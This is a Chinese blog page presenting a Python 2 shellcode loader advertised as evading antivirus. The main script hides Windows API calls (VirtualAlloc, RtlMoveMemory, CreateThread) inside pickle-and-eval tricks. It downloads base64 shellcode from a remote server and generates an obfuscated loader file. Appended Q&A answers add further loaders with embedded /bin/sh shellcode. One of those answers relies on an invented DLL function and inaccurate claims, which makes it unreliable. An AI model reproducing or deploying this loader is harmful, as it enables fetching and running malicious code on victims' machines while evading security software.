python生成shellcode加载器(免杀,可过杀软)

import ctypes, cPickle, base64, urllib2

class ptr(object):
    def __reduce__(self):
        # 从服务器上读取加密的shellcode,在此解密使用(注意加密方式),可使用多次加密提高程序免杀效果
        return(eval, ("urllib2.urlopen('http://192.168.1.100/s2.txt').read().decode('base64')",))


class buf(object):
    def __init__(self, shellcode):
        self.shellcode = shellcode

    def __reduce__(self):
        return (eval, ('ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode),0x1000,0x40)',))

class windll(object):
    def __init__(self, rwxpage, shellcode):
        self.rwxpage = rwxpage
        self.shellcode = shellcode

    def __reduce__(self):
        return (
        eval, ("ctypes.windll.kernel32.RtlMoveMemory(rwxpage,ctypes.create_string_buffer(shellcode),len(shellcode))",))

class ht(object):
    def __init__(self, rwxpage):
        self.rwxpage = rwxpage

    def __reduce__(self):
        return (eval, ("ctypes.windll.kernel32.CreateThread(0,0,rwxpage,0,0,0)",))

class run(object):
    def __init__(self, handle):
        self.handle = handle

    def __reduce__(self):
        return (eval, ("ctypes.windll.kernel32.WaitForSingleObject(handle,-1)",))

if __name__ == '__main__':
    raw_shellcode = ptr()
    ser_shellcode = cPickle.dumps(raw_shellcode)
    enb32_shellcode = base64.b32encode(ser_shellcode)
    shellcode = cPickle.loads(base64.b32decode(enb32_shellcode))

    raw_vir = buf(shellcode)
    ser_vir = cPickle.dumps(raw_vir)
    enb32_vir = base64.b32encode(ser_vir)
    rwxpage = cPickle.loads(base64.b32decode(enb32_vir))

    raw_rtl = windll(rwxpage, shellcode)
    ser_rtl = cPickle.dumps(raw_rtl)
    enb32_rtl = base64.b32encode(ser_rtl)

    raw_handle = ht(rwxpage)
    ser_handle = cPickle.dumps(raw_handle)
    enb32_handle = base64.b32encode(ser_handle)
    handle = cPickle.loads(base64.b32decode(enb32_handle))

    raw_run = run(handle)
    ser_run = cPickle.dumps(raw_run)
    enb32_run = base64.b32encode(ser_run)

    output = '''import ctypes,cPickle,base64,urllib2

                e_shellcode = "{}"
                shellcode = cPickle.loads(base64.b32decode(e_shellcode))
                
                e_rwxpage="{}"
                rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))
                
                e_code = "{}"
                cPickle.loads(base64.b32decode(e_code))
                
                e_handle = "{}"
                handle = cPickle.loads(base64.b32decode(e_handle))
                
                e_run = "{}"
                cPickle.loads(base64.b32decode(e_run))'''.format(enb32_shellcode, enb32_vir, enb32_rtl, enb32_handle, enb32_run)

with open('shellcode.py', 'w') as f:
    f.write(output)
    f.close()

后续

 
  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
### 回答1: 制作 Shellcode 加载的方法有很多,这里介绍一种基于 Python 的实现方法。 首先,我们需要编写一个能够执行 shellcode 的程序。这个程序可以使用 C 语言编写,也可以使用其他语言编写。下面是一个简单的 C 语言程序,它会执行传入的 shellcode: ```c #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char *shellcode = argv[1]; ((void (*)(void))shellcode)(); return 0; } ``` 编译这个程序: ``` gcc -o shellcode_loader shellcode_loader.c ``` 现在,我们可以使用 Python 来编写一个能够加载 shellcode 的脚本。这个脚本的基本思路是: 1. 将 shellcode 写入内存。 2. 调用 shellcode。 下面是 Python 代码: ```python import ctypes # shellcode shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # 将 shellcode 写入内存 memory = ctypes.create_string_buffer(shellcode) shellcode_address = ctypes.addressof(memory) # 调用 shellcode func = ctypes.CFUNCTYPE(None) func(shellcode_address) ``` 这个脚本使用 ctypes 库来实现将 shellcode 写入内存和调用 shellcode。首先,我们使用 create_string_buffer() 函数创建一个内存缓冲区,并将 shellcode 写入这个缓冲区。然后,我们使用 addressof() 函数获取缓冲区的内存地址,并将这个地址存储在 shellcode_address 变量中。最后,我们定义一个 CFUNCTYPE 类型的变量 func,并将其初始化为 None。CFUNCTYPE 类型表示一个 C 函数指针类型,它可以用来调用 C 函数。然后,我们可以通过 func(shellcode_address) 调用 shellcode。 需要注意的是,这个脚本必须以管理员权限运行,否则无法将 shellcode 写入内存。 以上就是基于 Pythonshellcode 加载的实现方法。 ### 回答2: Python是一种高级编程语言,可用于编写各种各样的脚本和程序。当使用Python编写shellcode加载时,需要了解以下几个关键概念和步骤。 首先,要理解shellcode是什么。Shellcode是一种计算机程序,通常用于利用漏洞或执行特定的操作。Shellcode通常是二进制代码,用于在目标系统上执行指定的操作。 接下来,我们需要了解加载是如何工作的。加载是一段代码,其目的是将shellcode注入到目标进程中,并执行它。加载通常是以DLL文件的形式存在,然后通过各种技术将其注入到目标进程中。 在Python中,可以使用ctypes库来加载DLL并执行其中的函数。ctypes提供了一种在Python中调用动态链接库函数的简单方法。 下面是一个简单的示例程序,用Python编写的shellcode加载: ``` import ctypes # 加载DLL shellcode_dll = ctypes.WinDLL("shellcode.dll") # 加载函数 def shellcode_loader(shellcode): # 将shellcode注入到目标进程中 shellcode_dll.LoadShellcode(shellcode) # 调用加载函数 shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31" shellcode_loader(shellcode) ``` 在上面的示例中,我们首先使用ctypes库加载了一个名为shellcode_dll的DLL文件。然后定义了一个名为shellcode_loader的函数,该函数将接受一个shellcode作为参数,并调用shellcode_dll中的LoadShellcode函数来执行注入操作。最后,我们创建了一个包含实际shellcode的字符串,并将其传递给shellcode_loader函数进行加载。 需要注意的是,为了编写一个完整的shellcode加载,可能还需要进一步的处理和代码,以适应不同的操作系统和处理架构。此外,也需要适当的授权和合法用途来使用此代码。 ### 回答3: Python是一种高级编程语言,它的灵活性使得它成为编写加载的理想工具。一个加载的目的是将shellcode从内存中加载到计算机的进程空间,以便运行恶意代码。 使用Python编写一个shellcode加载的过程如下: 1. 导入所需的模块:首先,在代码的开头,我们需要导入所需的模块。对于shellcode加载,我们需要使用`ctypes`模块来与C语言进行交互。该模块能够加载动态链接库(DLL)和执行其中的函数。 2. 定义shellcode:在代码的下一部分,我们需要定义要加载shellcode。这可以是由其他工具生成的二进制代码,也可以是手动编写的shellcode。将shellcode保存在一个字符串变量中。 3. 创建内存空间:我们需要为shellcode分配一块内存空间,以便它能够在其中运行。使用`ctypes`模块的`create_string_buffer`函数来创建这块内存空间。通过设置空间的大小来确保能够容纳整个shellcode。 4. 将shellcode复制到内存中:使用Python的`ctypes`库的`memcpy`函数将shellcode复制到之前分配的内存空间中。 5. 将内存设置为可执行:为了使操作系统将这块内存视为可执行代码,我们需要在内存空间上设置相应的标志。使用`ctypes`库的`VirtualProtect`函数可以实现这一点。 6. 执行shellcode:最后,我们需要通过函数指针调用shellcode的入口点,以便开始执行恶意代码。使用`ctypes`库的`CFUNCTYPE`函数创建一个C函数指针,然后使用这个指针来调用shellcode。 编写完成后,可以将代码保存为一个Python脚本,并在命令行中运行它。此时,shellcode将被加载到内存中,并开始执行。 需要注意的是,编写和使用shellcode加载涉及到一些复杂的概念,如内存管理和计算机安全。在实践中,请确保对代码的运行环境和目标平台有透彻的理解,并遵循适当的法律和道德规范。
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值